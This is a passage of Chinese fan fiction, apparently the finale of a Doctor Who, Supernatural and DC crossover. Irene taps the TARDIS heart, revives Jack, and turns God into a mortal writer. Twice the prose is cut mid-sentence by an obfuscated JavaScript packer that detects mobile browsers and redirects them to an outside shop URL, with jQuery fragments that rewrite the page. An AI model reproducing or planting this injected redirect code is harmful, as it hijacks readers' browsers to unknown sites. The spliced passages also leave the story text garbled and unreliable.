“伊琳,如果你拥有能够影响他人命运的力量,你一定能用它做更多事。就像这一次,你找到了杰克,给我们带回了宝贵的信息。” “我还能用它做什么呢?”伊琳问,“我吸引来了天启所在的宇宙,现在,我们最大的敌人是上帝。我到底能做什么阻止上帝呢?” 迪克没有答案。 可伊琳的眼睛却亮了起来,她猛地从床垫上弹起来:“恶狼。” ** 在旅行时,伊琳时不时地会在各种星球上看到“恶狼”这个词。它有可能是一个牌子,有可能出现在标语上,也有可能是新闻里某个季风的名字。 “好古怪的名字,怎么那么多星球都喜欢用它。”那时候,她这样问道。 她记得爸爸和博士面色复杂地对视了一眼,眼里流露出怀念的神情。 “你知道吗,我见过小时候的罗斯好几次,她八岁的时候还会被小红帽故事里的大灰狼给吓坏。”杰克笑着摇了摇头,“很难想象她竟然管自己叫恶狼。” “她只有十九岁。”博士耸了耸肩,“青春期的女生总喜欢特立独行的名字。” 伊琳就是从那时知道,他们曾经有一个叫作罗斯的旅伴,她曾经打开了塔迪斯之心,直视着时间漩涡,从中获得了难以想象、也绝非凡人所能承受的力量,杀死了数以千计的戴立克——时间领主的宿敌,宇宙中最暴力残忍的军队。 “她后来怎么了?” “哦,她没事。”博士语气轻快,“她在一个平行世界,生活得很好。” “我以为你们说时间漩涡的力量很危险?不能轻易触碰?” “是的,”博士弯下腰,拍了拍她的头,“别想打时间漩涡的主意。罗斯没有出事是因为我把能量吸收了,为此我还重生了一次。” “啊哈,你不知道他那次重生前有对大招风耳吧?”杰克大笑着,上下打量着博士,“我有点儿怀念那时的你了,还挺性感的。” 忽略一切杰克式的调情与玩笑后,伊琳牢牢记住了一件事:直视塔迪斯之心很危险。同样,它也能带给人巨大的力量,足以让人在一瞬间将影响覆盖到整片宇宙的各个时间。 听起来这是创世与灭世级别的力量。 “博士说,我就像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972211|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时空中一个有巨大吸引力的黑洞。如果我的吸引力大到可以吸引宇宙,那为什么我不能通过这个吸引力,借来时空漩涡的力量呢?”伊琳猛地转头看向迪克,“你的朋友里有力气特别大的人吗?” ** “这就是上次出现在泰坦塔的蓝盒子?”唐娜打开门,惊讶地叫道,“这里面看起来可比外面大得多。” 伊琳笑了:“很多人都这么说。” “好吧,”唐娜打量着里面带有复古科幻片风格的装饰,“要我打开哪里?” “这儿。”伊琳指向中心的操作台。 唐娜点了点下巴:“......这看起来可很复杂,你确定弄坏了也没关系?” ……如果她成功了,时空漩涡的能量应该不至于修不好一个操作台;如果她失败了,博士大概也不会有心思去担心操作台的问题。 于是伊琳点点头:“是的,我确定。” 唐娜又看向迪克,迪克在裤子上擦了一把手心上的汗,拳头攥紧又松开几次,最终还是点了点头:“按伊琳说的做吧,多谢了。” 迪克清楚,伊琳非趁着博士不在才能干的事一定非常危险,甚至很有可能会危及生命。 可伊琳只是问他:“当你晚上在外面飞来飞去的时候,我有因为危险而阻止你吗?” “而且,我有一种预感,”伊琳能感到自己身边的时空能量从未如此活跃地跳动着,兴奋却毫不混乱,像是有什么东西正要归位,“我正走在正确的时间线上。这是注定要发生的事。” 当站在操作台前,伊琳无比清晰地想起了博士对她说的话:“你拥有的不是操纵时间的天赋,只是你本身的吸引力会撕破时空的壁垒。” 但她知道,在过去的那些时候,她所做的不止是破坏壁垒,她是真正地做到了在时空能量上的微操。 如果这种能力不来自于时间悖论,那么必定有一个由来。 唐娜的手搭在操作台边缘,最后向伊琳投来询问的眼神。 “记得闭上眼睛。”伊琳轻声说。 唐娜点点头,然后用力。 操作台的开启无比轻易,几乎是在唐娜微微弯下膝盖使力的下一秒,柔和的白光就从缝隙间透出。 伊琳听见有音乐响在自己的脑海里,就像是幼时塔迪斯对她哼的摇篮曲。 在无尽的白光中,她看见了星河。 所有的星辰向她倾斜过来,她在意识里迈开一步,向着所有时间里的所有空间伸出手,她看见一片土地在亿万年间的枯荣,看见太阳的燃尽与地球上第一条鱼的上岸。 时间与空间失去了意义,她存在在每一个粒子中,见证着宇宙的坍塌与爆炸。 无数的信息涌入她的意识中,但她能清晰地意识到并记住每一点感知。所以她也听到了有匆匆的脚步声闯进塔迪斯,颤抖着问她:“你做了什么?” 她感到有人握着她的肩膀,强行让她转身——她看见博士的出生与死亡,看见时间领主的兴盛与覆灭——这一切与博士急急的质问同时发生:“你做了什么?” 伊琳笑了笑,然后迈出了第二步。 她迈向了过去,也迈向了未来。 她消失在原地。 77.终章 年幼的迪克从车上跳下,三两步迈过门廊与车之间一米的距离,带起的雨点穿透伊琳的衣摆。迪克打了个喷嚏,趁着阿尔弗雷德去拿浴巾的时候,抬头打量了一下客厅的吊灯,爬到沙发背上一个跳跃,将身子倒挂在灯架上。 吊灯一阵摇晃。在灯架断裂前,碎玉般的灯光穿透伊琳的身影,落在了十多年后布鲁德海文的天台上,正好照亮了那时的伊琳从楼梯间探出的脸。 无形的伊琳微微抬起头,年幼的迪克的下落路线发生了些微的偏移,他在空中翻了半个跟头,稳稳地一头撞上沙发背。一个鲤鱼打挺起身,看着眼前的狼藉心虚地吐了吐舌头。 她的视线落入黑暗里,蓝色的v字微微内扣,伴随着不稳的喘息声。那双蓝眼睛失焦地望着眼前的空茫,连枪声都没让他眨一下眼。 而伊琳眨了一下眼。 离开枪口的子弹瞬间复制出了一模一样的另一颗,以同样的速度、挟着同样的威势,直直地没入巨汉的头颅里。原先的子弹按着开枪时的轨道,从巨汉身边几厘米处擦了过去,钉入他身后的水泥墙上。 一朵云被海风吹了过来,像一块绸缎拖曳过北极星,蘸取了星星上冰冷的光,化作雨淅淅沥沥地落了下来。 伊琳昂起头,在雨珠穿过她身体的刹那,另一颗星星取代了北极星的位置,地球周围多了数千个空间站与卫星,近地飞船在航道上堵塞住了,人们把头探出窗外,百无聊赖地看起夜幕中被分割成一块块的广告投影。 下一刻,漫天的火光与浓烟掩住了所有人。 等尘埃散去,原本的高楼只剩下半截钢铁支架,剩下的一半砸在一旁的地上。幸存的人从废墟里搀扶着走出,心有余悸地看着地上同胞与赛博人留下的尸体。 伊琳迈出一步,毫无犹疑地穿过感知过滤器,心念一转就到了长长的地下通道另一端,立在一扇巨大的金属门前。 金属门上有着大大小小的浅浅凹印,通道里散落着数不清的武器与弹药,能想象到之前人们用了多么猛烈的火药攻击都拿这扇门毫无办法。 而伊琳,只是走了进去,仿佛金属门根本就不存在。 门后是一个巨大的充斥着各式金属的冷色调空间,类似于实验室、野战医院与工厂流水线的综合体。空间里整齐地排列着一个个窄小的手术床,每一张床顶上都悬着一个银白色结构复杂的升降装置,装置支出了几十个爪子,上面固定着不同的金属器具。 一部分床空着,上面染着斑驳的血痕;另一部分床上躺着人,早已没了声息,部分血肉被金属给取代,上方的某个器具上粘着暗红色的血肉。 伊琳扫过这片空间,下一秒,就来到了角落里一张同样的手术台前。 上面躺着的人同样没有了气息,鬓角多了些白发,灰蓝色的大衣敞开着,胸口蓝色的衬衣绽开一个血洞。伊琳抬了抬眼,上方悬着的装置、连着低垂的电钻瞬间湮没成灰烬。 时空能量活跃地涌向这里,定点正从短暂的形变中逐渐反弹,想要恢复正轨。杰克头上嵌着的金属正在被他复原的血肉推出,伊琳伸出手,将金属直接拔了出来。皮肉瞬间长了起来,将原本的伤口给遮盖住了。 响亮的吸气声响起,杰克猛然睁大眼睛,呼吸声穿过毛躁的气管,嘶哑又尖锐。 “冷静下来。”伊琳扶着他的肩,轻声说。 杰克飞速转过头,将目光投到伊琳脸上,脸上惊慌的神色很快转变成了困惑。他皱起眉头,用力地回想着。 伊琳歪了歪头:“爸爸?” 杰克瞪大了眼睛:“伊琳?真的是你?怎么会是你......你明明......” 他的眼里逐渐露出明悟,咧开嘴大笑起来:“哦是你,真的是你,是那一次。” 他笑得上气不接下气:“塔迪斯之心,时间漩涡,是这样,原来是这样。你从没告诉过我。” 他笑得支起了腿,身子伏了下去,弯成了一个虾米,嘴里不断重复着:“你从没告诉过我......太久了,真的太久了......” 杰克的气息急促起来,呼吸声湿漉漉的。他深吸了一口气,用袖子抹了一把脸,转过身抓住伊琳的双肩,眼里亮闪闪地带着无尽的怀念端详着伊琳的脸:“太久了......我还以为我再也想不起来了......” “小太阳......”他用额头贴着伊琳的额头,轻声唤着,“你在这儿,你还在这儿。” “我在,我一直在。”伊琳说。 “太多人了......他们老去,离开,只剩下我一个。一遍又一遍。遗忘。”杰克喃喃着,手越抓越紧,像是抓住了最后的救命稻草。 “告诉我,”他紧紧抓着伊琳的肩头,迫不及待地问道,“这一切,对我来说,会有尽头吗?” 伊琳看着杰克,同时看着所有时间线上的每一个他——笑着的,哭着的,得意的,落拓的,活着的,死去的。 “会的,”她说,“一切都会有终结的那一天。” 杰克长出了一口气,声音有些发颤:“好,很好。” 他低下头,把脸埋在掌心里,沉默了很久后,他再一次带着希冀看向伊琳:“你......还会再来吗?” “会的,每一次,我都会在。” “那一天也是?” “那一天也是。” 杰克微笑着摸了摸伊琳的头顶:“到了那一天,你能不能提醒我那些我应该记住的人的名字?我想记着他们结束。” “好,我保证。”伊琳点点头,就像是她在五十一世纪的伯依珊半岛给出的承诺一样郑重。 “......你要走了?”那一天,在炮火声的回响里,那个刚被她救下的少年忐忑不安地叫住了她。 “你会平平安安地长大成人的。”她转过身,安抚地笑了笑,“还会很帅。” “是吗?”少年挑起眉毛,笑得露出了一排牙齿,神情里已经初具后来的风流样子,“哪种级别的帅?” 伊琳想了想,说道:“伯依珊的脸面的那种帅。” 少年杰克大笑起来,但看着伊琳离开的背影,依旧急急发问:“你是怎么知道的?我们还会再见面吗?” “会的。”伊琳说,“我们还有很多面要见。” 她的意识穿过无数的时空,见证着杰克的眼角一点点爬上细密的皱纹,看着他第一次用上了染发剂,最后彻底放弃了为头发做斗争。 “但我的顴骨依然坚/挺。”在一次伊琳把他从土里挖出来、调侃他眼周的皱纹后,杰克说。 “我不害怕了。”伊琳第一次隔着玻璃容器见到伯依之脸时,他说,“因为我知道,不管我从什么陌生环境里醒过来,你总是在。” 而当伊琳最后一次见到伯依之脸时,他抬起沉重的眼皮,声音回荡在空无人烟的城市里:“是时候了吗?” “是时候了。”伊琳走近他,将手贴在容器上。 “伊琳。” 伊琳手指下意识用力,可触碰到的依旧是冰冷的玻璃:“我在。” “我不能抱你了。”伯依之脸的声音低沉疲惫,可伊琳知道那隆隆的声音是他在笑,连着他用生命力支撑的地下城的灯光一阵闪烁,“但我只想让你知道,我爱你。” 伊琳的脸颊贴上玻璃,压抑不住的急促呼吸给玻璃蒙上一层雾气:“我也是。” 容器碎裂,伊琳在进入房间的博士和玛莎身前隐没了身形,掏出长卷,在伯依之脸安心的目光中,念着上面的名字。 “......Owen, Tosh, Ianto, Gwen……” 所有与他并肩同行过的人,所有被时间长河冲刷过的人,再一次在他的记忆中浮现出来。 “万物都有尽时,我已经看过了太多事。还好,我不是独自一人。”他对博士说,“你也不是独自一人。” 伯依之脸闭上了眼睛。 ** “你真的很喜欢写作。”伊琳站在虚无里与混沌格格不入的杂乱房间中,若有所思地看着大屏幕,“但盗取别人的成果可不是什么好习惯。” “你是谁?”上帝从柔软的躺椅上惊醒,“不,我知道你,我看到你了,你是伊琳·埃文斯?” 他震惊地打量着伊琳:“你到底是怎么进来的?” “看起来,上帝并不总是这么全知全能,不是吗?”伊琳在一排排机箱间踱着步子,“至少,你对时间的能量一无所知。” 她顺手将一根数据线从机箱上拔了下来,上帝像是被踩了尾巴似地叫起来:“你在做什么!” 足能毁天灭地的能量涌向伊琳,像是小河汇入了汪洋,没有掀起一点波涛。 伊琳捂了捂耳朵,抱怨说:“你好吵。” 她一挥手,所有的机器瞬间消失在原地。 “你做了什么?”上帝打了好几个响指,但他的力量像是被束缚住了,完全不听使唤,“你到底是谁?” “你不是已经认出我了吗?”伊琳奇怪地看了他一眼,“我是伊琳·埃文斯。” “现在,”她说,“是你该决定‘你是谁’的时候了。” 还没等上帝开口,伊琳两手一合,一副恍然大悟的样子:“差点忘了,你不是早就决定了吗?” 下一刻,上帝——恰克——穿着领子染着油渍的起球棉T恤,出现在了破旧杂乱的公寓里。 伊琳打了个响指,本就逼仄、扔满外卖包装盒的桌子上多了一台笨重的老式笔记本电脑。 “为什么......”恰克睁大了眼睛,看着自己的双手,“你对我做了什么?” “既然你想当一个三流作家,那就继续当吧。”伊琳说,“恭喜你,成为了一名凡人。” “对了,”生怕恰克受到的惊吓太少,伊琳补充道,“胡乱写别人的生活可不礼貌,所以你以后再也写不了温彻斯特的故事,也没人再记得你以前写的那些了。” “还有,人的寿命很短,但灵魂的存在很长。”她眨了眨眼,促狭地笑了,“我和克劳利打了声招呼。虽然地狱的大门被我关上了,但本事大的恶魔总有办法出来转一转。” 恰克僵在原地,说不出话来。 所有人都被聚到了一起,虚无里的两个灵魂自然也被放了出来,伊琳甚至没有忘记给杰克在床头放上一杯香槟。 卡斯迪奥倒是还记得虚无里的另一个存在,犹豫着问道:“上帝呢?” “上帝?”伊琳眨了眨眼睛,“他不是离开很久了吗?” 卡斯迪奥愣了一下,从伊琳的语气中读出了什么,眼睛瞪得滚圆。直到伊琳冲着他点了点头,他才反应过来,表情夸张、语气生硬地重复说:“哦,对,没错,上帝已经离开很久了。呃,他大概是不会回来了,我想。” 迪恩无法直视地捂住了眼睛。 奇异的是,卡斯迪奥在天使们面前表现的却很自然。 “天使应该拥有自由意志,这是正确的事。”他说。 天使们直接将“正确的事”等同于了“上帝让他们做的事”,面面相觑:“但上帝不在,谁来领导我们找到自由意志呢?” 天使们的目光投向了卡斯迪奥:“卡斯迪奥,你能领导我们吗?就像之前一样?” 卡斯迪奥犹豫地看向身后的众人:蝙蝠侠微微点了点头,迪恩和萨姆笑着冲他挥了挥手,博士翻了个白眼,嘀咕着天使为什么总要找人带领他们。 他转回头,在天使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019414|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们期待的目光中答应了下来。 一片翅膀的扑棱声后,天使们返回了天堂。 迪恩“哈”了一声,笑着摇了摇头:“我实在不敢相信,卡斯成了新上帝。” 萨姆用手肘顶了他一下:“卡斯是要带他们寻找自由意识。” “相信我,以那些羽毛脑袋的顽固程度,这就意味着卡斯要当好长一段时间的天使领导——那就是新上帝。” 康斯坦丁赞同地拍了拍他的肩。 迪恩笑累了,看着天使消失后留下的那片空地,神色逐渐变得有些茫然:“所以,都结束了?” 伊琳摸了摸下巴:“也许我还漏了一些怪物没有清扫掉,也许他们过段时间又会跑出来。但至少不会有天启和利维坦这种级别的戏码了。所以,是的,都结束了。” “这感觉起来......” 迪恩说到一半说不下去了,萨姆接了话:“不真实。” 迪恩看了他一眼:“有什么打算吗?” 萨姆耸了耸肩:“公路旅行?我是说,真正的旅行那种。” “对,”迪恩低下头,摩挲着口袋里的Impala钥匙,“也许......大峡谷?我们还没有去过大峡谷。” 博士在关于旅行的讨论刚开始时就折身回了塔迪斯,十多分钟后,他气急败坏的声音响起:“伊琳!你不是说你把剩余的能量都送回来了吗?” 伊琳转过头,看见博士脸颊上还沾着乌黑的机油,不禁笑出了声。 “伊琳——”博士开始磨牙。 伊琳伸出手,用大拇指抵住食指第一指节之前的位置,笔划说:“就留了一点。” “嗯?” “真的就一点,就够几次穿梭时空用的。” 博士狐疑地问:“那能量都去哪儿了?” “程序!监管程序!我下了指令,从此再也不能有人随便编写这个世界的人的命运了。还有就是......” 伊琳向着杰克看了过去,博士的视线也跟了过去,压低了声音:“杰克?” “嘿!”杰克举起双手,作投降状,“我可什么都没干!” 伊琳收回了目光,耸耸肩:“真的没什么,剩下的能量大概是散落在了今后几十亿年的时间里了吧。” 博士怀疑的目光依旧在伊琳和杰克之间来回移动,杰克觉得自己无辜极了,快速转移了话题:“好吧,塔迪斯怎么样了?” “能源耗尽,完全无法移动,得到时间裂缝充电才行。” “呃,你是说,我们得带着没法移动的塔迪斯去卡迪夫充电?” “是的。” 杰克揉了揉鼻子,不说话了。 “要帮忙吗?”超人带着友好的笑意走了过来,“听起来我好像帮得上忙。” 杰克眼睛一亮,引着他来到塔迪斯旁边。超人扶着塔迪斯往上一举,塔迪斯就晃晃悠悠地离开了地面。 “伊琳!你来吗?”杰克问。 伊琳看看塔迪斯,又看看迪克。 “好吧,我懂了。”杰克大声地“啧”了一下,“年轻人的约会,我懂。” 迪克走到她身边,不露痕迹地牵住了她的手,侧头微笑问:“约会?” 罗伊吹了下口哨,沃利在后面嘟囔着伊琳还欠他几顿饭的事。 伊琳朝着迪克飞快地眨了下眼睛:“我找了个安静的好地方。” 迪克还没有反应过来,下一秒,他就来到了一个截然不同的环境中。 眼前是一轮巨大的太阳,仿佛伸手就可以触碰到,暖红色的光明亮但并不刺眼,给脚下沟壑纵横的岩石沙土渡上了一层暖洋洋的光。 “这不是太阳,”伊琳说,“这是宇宙里最后一颗恒星。我们正站在宇宙里最后一颗行星上面。” 伊琳带着迪克向前走了一步,迪克下意识伸出手,想去触碰那颗明亮的光球——他当然没有碰到。 “它在它生命中的最后几年里,所以很多人把这个时间点称为——宇宙的尽头。” “这很安静。”迪克说,在这处连风声都消弭了的土地上,他的声音同样放得很轻。 “没有生命留到了这个时候,只剩下两个相对的星球。”伊琳轻笑,“还有我们。” 站立在这样的寂静里,沐浴在怀旧的光辉下,呼吸似乎都是一件神圣的事,迪克一时间有些说不出话来。 “没有夜巡,没有反派,只有我们,还有......”伊琳一指前方,“蛋糕。” 迪克眨了眨眼:“什么?” 他们往前走了几步,才看见了那个影子的全貌:那确实是一个蛋糕,放在一张高脚桌子上,一共有三层,裱花精致,装点着玫瑰与绿叶。 迪克惊讶地睁大了眼:这是一个婚礼蛋糕。 伊琳“扑哧”笑了:“别误会,我没在向你求婚。”她冲着看起来有些落寞的迪克挑起了眉毛:“我会把这个机会留给你。” “这不是我准备的蛋糕,大概是某个时间旅行者。我只是路过了这里看见它,觉得......” 她搂住迪克的脖子,懒懒地将自己挂在他身上。迪克搂住了她的腰,支撑住她的身体,感受着脸颊边温热的呼吸。 “觉得有点浪漫。”她说。 “在这里,没有什么突然冒出来的反派会和我抢你的时间,你的时间都是属于我的。”伊琳抬起眼,嘴唇擦过他的唇角,清新酸甜的果香包裹着他。 她勾起嘴角,微凉的指尖在迪克脖子后面打着圈:“想好要怎么把你的时间给我了吗?” 迪克的脑海里绽放起烟花。 ……这块土地没有它看起来那么硬,更像是柔软的沙滩。躺下去的时候,迪克这样想。